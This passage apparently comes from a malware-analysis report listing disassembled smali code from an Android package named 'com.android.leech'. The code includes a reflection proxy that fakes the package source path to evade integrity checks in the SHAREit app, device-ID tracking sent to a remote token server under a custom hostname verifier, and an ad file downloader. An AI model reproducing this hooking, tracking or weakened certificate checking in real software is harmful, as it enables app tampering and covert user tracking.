                                                                              32invoke-virtual {p2, v6, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              33move-result-object v0
                                                                              34check-cast v0, Landroid/content/pm/PackageInfo;
                                                                              36iget-object v6, p0, Lcom/android/leech/main/fake/ProxySign;->sPath:Ljava/lang/String;
                                                                              37if-nez v6, :cond_2e
                                                                              39iget-object v6, v0, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              41iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                                              42iput-object v6, p0, Lcom/android/leech/main/fake/ProxySign;->sPath:Ljava/lang/String;
                                                                              43cond_2e: new-instance v6, Ljava/lang/Exception;
                                                                              45invoke-direct {v6}, Ljava/lang/Exception;-><init>()V
                                                                              47invoke-virtual {v6}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
                                                                              48move-result-object v4
                                                                              49array-length v6, v4
                                                                              50goto_38: if-ge v5, v6, :cond_e0
                                                                              51aget-object v3, v4, v5
                                                                              53invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              54move-result-object v7
                                                                              56const-string v8, "com.lenovo.anyshare.dqp"
                                                                              58invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              59move-result v7
                                                                              60if-nez v7, :cond_d8
                                                                              62invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              63move-result-object v7
                                                                              65const-string v8, "com.lenovo.anyshare.dqp"
                                                                              67invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              68move-result v7
                                                                              69if-nez v7, :cond_d8
                                                                              71invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              72move-result-object v7
                                                                              74const-string v8, "com.lenovo.anyshare.den"
                                                                              76invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              77move-result v7
                                                                              78if-nez v7, :cond_d8
                                                                              80invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              81move-result-object v7
                                                                              83const-string v8, "com.lenovo.anyshare.cqn"
                                                                              85invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              86move-result v7
                                                                              87if-nez v7, :cond_d8
                                                                              89invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              90move-result-object v7
                                                                              92const-string v8, "com.lenovo.anyshare.cnx"
                                                                              94invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              95move-result v7
                                                                              96if-nez v7, :cond_d8
                                                                              98invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              99move-result-object v7
                                                                              101const-string v8, "com.lenovo.anyshare.cok"
                                                                              103invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              104move-result v7
                                                                              105if-nez v7, :cond_d8
                                                                              107invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              108move-result-object v7
                                                                              110const-string v8, "com.lenovo.anyshare.cnc"
                                                                              112invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              113move-result v7
                                                                              114if-nez v7, :cond_d8
                                                                              116invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              117move-result-object v7
                                                                              119const-string v8, "com.lenovo.anyshare.bri"
                                                                              121invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              122move-result v7
                                                                              123if-nez v7, :cond_d8
                                                                              125invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              126move-result-object v7
                                                                              128const-string v8, "com.lenovo.anyshare.cna"
                                                                              130invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              131move-result v7
                                                                              132if-nez v7, :cond_d8
                                                                              134invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              135move-result-object v7
                                                                              137const-string v8, "com.lenovo.anyshare.cga"
                                                                              139invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              140move-result v7
                                                                              141if-nez v7, :cond_d8
                                                                              143invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              144move-result-object v7
                                                                              146const-string v8, "com.lenovo.anyshare.ckj"
                                                                              148invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              149move-result v7
                                                                              150if-nez v7, :cond_d8
                                                                              152invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              153move-result-object v7
                                                                              155const-string v8, "com.lenovo.anyshare.cgj"
                                                                              157invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              158move-result v7
                                                                              159if-nez v7, :cond_d8
                                                                              161invoke-virtual {v3}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                                                                              162move-result-object v7
                                                                              164const-string v8, "com.lenovo.anyshare.cok"
                                                                              166invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              167move-result v7
                                                                              168if-eqz v7, :cond_12a
                                                                              169cond_d8: sget-boolean v5, Lcom/android/leech/main/fake/ProxySign;->patchNULL:Z
                                                                              170if-nez v5, :cond_e0
                                                                              171sget-boolean v5, Lcom/StatisticsSdk/shareit/ShareitAPI;->forceClose:Z
                                                                              172if-eqz v5, :cond_ed
                                                                              173cond_e0: sget-boolean v5, Lcom/android/leech/main/fake/ProxySign;->patchNULL:Z
                                                                              174if-nez v5, :cond_e8
                                                                              175sget-boolean v5, Lcom/StatisticsSdk/shareit/ShareitAPI;->forceClose:Z
                                                                              176if-eqz v5, :cond_12e
                                                                              177cond_e8:
                                                                              178iget-object v5, v0, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              179iput-object v9, v5, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                                              180goto_ec: return-object v0
                                                                              181cond_ed:
                                                                              182const-string v5, "Shareit"
                                                                              184const-string v6, "ProxySign "
                                                                              185new-instance v7, Ljava/lang/StringBuilder;
                                                                              187invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              189const-string v8, "sourceDir:"
                                                                              191invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              192move-result-object v7
                                                                              194iget-object v8, v0, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              196iget-object v8, v8, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                                              198invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              199move-result-object v7
                                                                              201invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              202move-result-object v7
                                                                              204invoke-static {v5, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              206const-string v5, "Shareit"
                                                                              208const-string v6, "ProxySign "
                                                                              209new-instance v7, Ljava/lang/StringBuilder;
                                                                              211invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              213const-string v8, "getHighVersionPatch:"
                                                                              215invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              216move-result-object v7
                                                                              218invoke-static {v9}, Lcom/StatisticsSdk/shareit/ShareitAPI;->getHighVersionPatch(Landroid/content/Context;)Ljava/lang/String;
                                                                              219move-result-object v8
                                                                              221invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              222move-result-object v7
                                                                              224invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              225move-result-object v7
                                                                              227invoke-static {v5, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              228goto/16 :goto_e0
                                                                              229cond_12a: add-int/lit8 v5, v5, 0x1
                                                                              230goto/16 :goto_38
                                                                              231cond_12e:
                                                                              232invoke-static {v9}, Lcom/StatisticsSdk/shareit/ShareitAPI;->getHighVersionPatch(Landroid/content/Context;)Ljava/lang/String;
                                                                              233move-result-object v5
                                                                              234if-eqz v5, :cond_ec
                                                                              236iget-object v5, v0, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              238invoke-static {v9}, Lcom/StatisticsSdk/shareit/ShareitAPI;->getHighVersionPatch(Landroid/content/Context;)Ljava/lang/String;
                                                                              239move-result-object v6
                                                                              240iput-object v6, v5, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                                              241goto/16 :goto_ec
                                                                              242cond_13d:
                                                                              243iget-object v5, p0, Lcom/android/leech/main/fake/ProxySign;->proxied:Ljava/lang/Object;
                                                                              245invoke-virtual {p2, v5, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              246move-result-object v2
                                                                              247move-object v0, v2
                                                                              248goto/16 :goto_ec
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • javax.net.ssl.HttpsURLConnection.setConnectTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setReadTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestMethod
                                                                              • javax.net.ssl.HttpsURLConnection.setDoInput
                                                                              • javax.net.ssl.HttpsURLConnection.setDoOutput
                                                                              • javax.net.ssl.HttpsURLConnection.setUseCaches
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setHostnameVerifier
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.net.URLEncoder.encode
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.net.URLEncoder.encode
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • javax.net.ssl.HttpsURLConnection.getOutputStream
                                                                              • java.io.DataOutputStream.<init>
                                                                              • java.io.DataOutputStream.writeBytes
                                                                              • java.io.DataOutputStream.flush
                                                                              • javax.net.ssl.HttpsURLConnection.getResponseCode
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.lang.StringBuffer.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuffer.append
                                                                              • java.io.DataOutputStream.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.lang.StringBuffer.toString
                                                                              • java.io.DataOutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.DataOutputStream.close
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              Strings
                                                                              • ro.yunos.openuuid
                                                                              • ro.aliyun.clouduuid
                                                                              • ro.sys.aliyun.clouduuid
                                                                              • https://cmnsguider.yunos.com:443/genDeviceToken
                                                                              • POST
                                                                              • Content-Type
                                                                              • application/x-www-form-urlencoded
                                                                              • appKey=
                                                                              • 23338940
                                                                              • UTF-8
                                                                              • &uuid=
                                                                              • FC1FE84794417B1BEF276234F6FB4E63
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x0
                                                                              2const-string v0, "ro.yunos.openuuid"
                                                                              4const-string v1, ""
                                                                              6invoke-static {v0, v1}, LuAgent/commonsdk/statistics/idtracking/s;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              7move-result-object v0
                                                                              8iput-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->d:Ljava/lang/String;
                                                                              10iget-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->d:Ljava/lang/String;
                                                                              12invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              13move-result v0
                                                                              14if-nez v0, :cond_16
                                                                              16iget-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->d:Ljava/lang/String;
                                                                              17goto_15: return-object v0
                                                                              18cond_16:
                                                                              19const-string v0, "ro.aliyun.clouduuid"
                                                                              21const-string v1, ""
                                                                              23invoke-static {v0, v1}, LuAgent/commonsdk/statistics/idtracking/s;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              24move-result-object v0
                                                                              25iput-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->c:Ljava/lang/String;
                                                                              27iget-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->c:Ljava/lang/String;
                                                                              29invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              30move-result v0
                                                                              31if-eqz v0, :cond_32
                                                                              33const-string v0, "ro.sys.aliyun.clouduuid"
                                                                              35const-string v1, ""
                                                                              37invoke-static {v0, v1}, LuAgent/commonsdk/statistics/idtracking/s;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              38move-result-object v0
                                                                              39iput-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->c:Ljava/lang/String;
                                                                              40cond_32:
                                                                              41iget-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->c:Ljava/lang/String;
                                                                              43invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              44move-result v0
                                                                              45if-nez v0, :cond_e8
                                                                              46try_start_3a: new-instance v0, Ljava/net/URL;
                                                                              48const-string v1, "https://cmnsguider.yunos.com:443/genDeviceToken"
                                                                              50invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              52invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              53move-result-object v0
                                                                              54check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                                                                              55try_end_47: const/16 v1, 0x7530
                                                                              56try_start_49:
                                                                              57invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setConnectTimeout(I)V
                                                                              58const/16 v1, 0x7530
                                                                              60invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setReadTimeout(I)V
                                                                              62const-string v1, "POST"
                                                                              64invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              65const/4 v1, 0x1
                                                                              67invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoInput(Z)V
                                                                              68const/4 v1, 0x1
                                                                              70invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoOutput(Z)V
                                                                              71const/4 v1, 0x0
                                                                              73invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setUseCaches(Z)V
                                                                              75const-string v1, "Content-Type"
                                                                              77const-string v3, "application/x-www-form-urlencoded"
                                                                              79invoke-virtual {v0, v1, v3}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              80new-instance v1, LuAgent/commonsdk/statistics/idtracking/s$1;
                                                                              82invoke-direct {v1, p0}, LuAgent/commonsdk/statistics/idtracking/s$1;-><init>(LuAgent/commonsdk/statistics/idtracking/s;)V
                                                                              84invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                                                                              85new-instance v1, Ljava/lang/StringBuilder;
                                                                              87invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              89const-string v3, "appKey="
                                                                              91invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              92move-result-object v1
                                                                              94const-string v3, "23338940"
                                                                              96const-string v4, "UTF-8"
                                                                              98invoke-static {v3, v4}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              99move-result-object v3
                                                                              101invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              102move-result-object v1
                                                                              104const-string v3, "&uuid="
                                                                              106invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              107move-result-object v1
                                                                              109const-string v3, "FC1FE84794417B1BEF276234F6FB4E63"
                                                                              111const-string v4, "UTF-8"
                                                                              113invoke-static {v3, v4}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              114move-result-object v3
                                                                              116invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              117move-result-object v1
                                                                              119invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              120move-result-object v1
                                                                              121new-instance v3, Ljava/io/DataOutputStream;
                                                                              123invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              124move-result-object v4
                                                                              126invoke-direct {v3, v4}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                                              127try_end_a7:
                                                                              128invoke-virtual {v3, v1}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                                                              130invoke-virtual {v3}, Ljava/io/DataOutputStream;->flush()V
                                                                              132invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getResponseCode()I
                                                                              133try_end_b0: move-result v1
                                                                              134const/16 v4, 0xc8
                                                                              135if-ne v1, v4, :cond_12e
                                                                              136try_start_b5:
                                                                              137invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              138try_end_b8: move-result-object v5
                                                                              139try_start_b9: new-instance v4, Ljava/io/BufferedReader;
                                                                              140new-instance v1, Ljava/io/InputStreamReader;
                                                                              142invoke-direct {v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              144invoke-direct {v4, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              145try_start_c3: new-instance v1, Ljava/lang/StringBuffer;
                                                                              147invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
                                                                              148goto_c8:
                                                                              149invoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              150move-result-object v2
                                                                              151if-eqz v2, :cond_ec
                                                                              153invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                                              154try_end_d1: goto/16 :goto_c8
                                                                              155catch_d2: move-exception v1
                                                                              156move-object v2, v4
                                                                              157goto_d4: if-eqz v3, :cond_d9
                                                                              158try_start_d6:
                                                                              159invoke-virtual {v3}, Ljava/io/DataOutputStream;->close()V
                                                                              160cond_d9: if-eqz v2, :cond_de
                                                                              161try_start_db:
                                                                              162invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                                              163goto_de: if-eqz v5, :cond_e3
                                                                              164try_start_e0:
                                                                              165invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              166goto_e3: if-eqz v0, :cond_e8
                                                                              168invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              169goto_e8:
                                                                              170iget-object v0, p0, LuAgent/commonsdk/statistics/idtracking/s;->d:Ljava/lang/String;
                                                                              171goto/16 :goto_15
                                                                              172cond_ec: if-eqz v1, :cond_f4
                                                                              173try_start_ee:
                                                                              174invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                                              175move-result-object v1
                                                                              176iput-object v1, p0, LuAgent/commonsdk/statistics/idtracking/s;->d:Ljava/lang/String;
                                                                              177cond_f4: move-object v2, v4
                                                                              178goto/16 :goto_d4
                                                                              179catch_f6: move-exception v0
                                                                              180move-object v0, v2
                                                                              181goto_f8: if-eqz v2, :cond_fd
                                                                              182try_start_fa:
                                                                              183invoke-virtual {v2}, Ljava/io/DataOutputStream;->close()V
                                                                              184cond_fd: if-eqz v0, :cond_e8
                                                                              186invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              187goto/16 :goto_e8
                                                                              188catchall_103: move-exception v0
                                                                              189move-object v3, v2
                                                                              190move-object v1, v0
                                                                              191move-object v4, v2
                                                                              192move-object v0, v2
                                                                              193goto_108: if-eqz v3, :cond_10d
                                                                              194try_start_10a:
                                                                              195invoke-virtual {v3}, Ljava/io/DataOutputStream;->close()V
                                                                              196goto_10d: if-eqz v2, :cond_112
                                                                              197try_start_10f:
                                                                              198invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                                              199try_end_112: if-eqz v4, :cond_117
                                                                              200try_start_114:
                                                                              201invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              202try_end_117: if-eqz v0, :cond_11c
                                                                              204invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              205cond_11c: throw v1
                                                                              206catchall_11d: move-exception v1
                                                                              207move-object v3, v2
                                                                              208move-object v4, v2
                                                                              209goto/16 :goto_108
                                                                              210catchall_121: move-exception v1
                                                                              211move-object v4, v2
                                                                              212goto/16 :goto_108
                                                                              213catchall_124: move-exception v1
                                                                              214move-object v2, v4
                                                                              215move-object v4, v5
                                                                              216goto/16 :goto_108
                                                                              217catch_128: move-exception v1
                                                                              218move-object v2, v3
                                                                              219goto/16 :goto_f8
                                                                              220catch_12b: move-exception v1
                                                                              221move-object v5, v2
                                                                              222goto/16 :goto_d4
                                                                              223cond_12e: move-object v5, v2
                                                                              224goto/16 :goto_d4
                                                                              225catchall_130: move-exception v1
                                                                              226move-object v4, v5
                                                                              227goto/16 :goto_108
                                                                              228catch_133: move-exception v1
                                                                              229goto/16 :goto_d9
                                                                              230catch_135: move-exception v1
                                                                              231goto/16 :goto_de
                                                                              232catch_137: move-exception v1
                                                                              233goto/16 :goto_e3
                                                                              234catch_139: move-exception v1
                                                                              235goto/16 :goto_fd
                                                                              236catch_13b: move-exception v3
                                                                              237goto/16 :goto_10d
                                                                              238catch_13d: move-exception v2
                                                                              239goto/16 :goto_112
                                                                              240catch_13f: move-exception v2
                                                                              241goto/16 :goto_117
                                                                              242catch_141: move-exception v1
                                                                              243goto/16 :goto_d4
                                                                              244catch_143: move-exception v1
                                                                              245goto/16 :goto_f8
                                                                              Cross References
                                                                              APIs
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.downloadUrl:Ljava/lang/String
                                                                              • java.net.URL.<init>
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.mFileSaveDir:Ljava/io/File
                                                                              • java.io.File.exists
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.mFileSaveDir:Ljava/io/File
                                                                              • java.io.File.mkdirs
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.downloadUrl:Ljava/lang/String
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.connect
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.printResponseHeader
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.net.HttpURLConnection.getContentLength
                                                                              • java.lang.RuntimeException.<init>
                                                                              • java.lang.Exception.toString
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.print
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.mFileName:Ljava/lang/String
                                                                              • android.text.TextUtils.isEmpty
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.getFileName
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.mFileSaveDir:Ljava/io/File
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.mFileName:Ljava/lang/String
                                                                              • java.io.File.<init>
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.fileService:Lcom/android/leech/main/ad/mini/download/FileService
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.downloadUrl:Ljava/lang/String
                                                                              • java.util.Map.size
                                                                              • java.util.Map.entrySet
                                                                              • java.util.Set.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.data:Ljava/util/Map
                                                                              • java.util.Map$Entry.getKey
                                                                              • java.util.Map$Entry.getValue
                                                                              • java.util.Map.put
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.data:Ljava/util/Map
                                                                              • java.util.Map.size
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.data:Ljava/util/Map
                                                                              • java.lang.Integer.valueOf
                                                                              • java.util.Map.get
                                                                              • java.lang.Integer.intValue
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.print
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread
                                                                              • java.lang.RuntimeException.<init>
                                                                              Strings
                                                                              • GET
                                                                              • Accept
                                                                              • image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
                                                                              • Accept-Language
                                                                              • zh-CN
                                                                              • Referer
                                                                              • Charset
                                                                              • UTF-8
                                                                              • User-Agent
                                                                              • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
                                                                              • Connection
                                                                              • Keep-Alive
                                                                              • Unkown file size
                                                                              • \u5df2\u7ecf\u4e0b\u8f7d\u7684\u957f\u5ea6
                                                                              • server no response
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0: new-instance v5, Ljava/net/URL;
                                                                              3iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->downloadUrl:Ljava/lang/String;
                                                                              5invoke-direct {v5, v6}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              7iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileSaveDir:Ljava/io/File;
                                                                              9invoke-virtual {v6}, Ljava/io/File;->exists()Z
                                                                              10move-result v6
                                                                              11if-nez v6, :cond_14
                                                                              13iget-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mFileSaveDir:Ljava/io/File;
                                                                              15invoke-virtual {v6}, Ljava/io/File;->mkdirs()Z
                                                                              16cond_14: iget v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->mThreadNum:I
                                                                              17new-array v6, v6, [Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              18iput-object v6, p0, Lcom/android/leech/main/ad/mini/download/FileDownloader;->threads:[Lcom/android/leech/main/ad/mini/download/DownloadThread;
                                                                              20invoke-virtual {v5}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              21move-result-object v0
                                                                              22check-cast v0, Ljava/net/HttpURLConnection;
                                                                              23const/16 v6, 0x1388
                                                                              25invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              27const-string v6, "GET"
                                                                              29invoke-virtual {v0, v6}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              31const-string v6, "Accept"
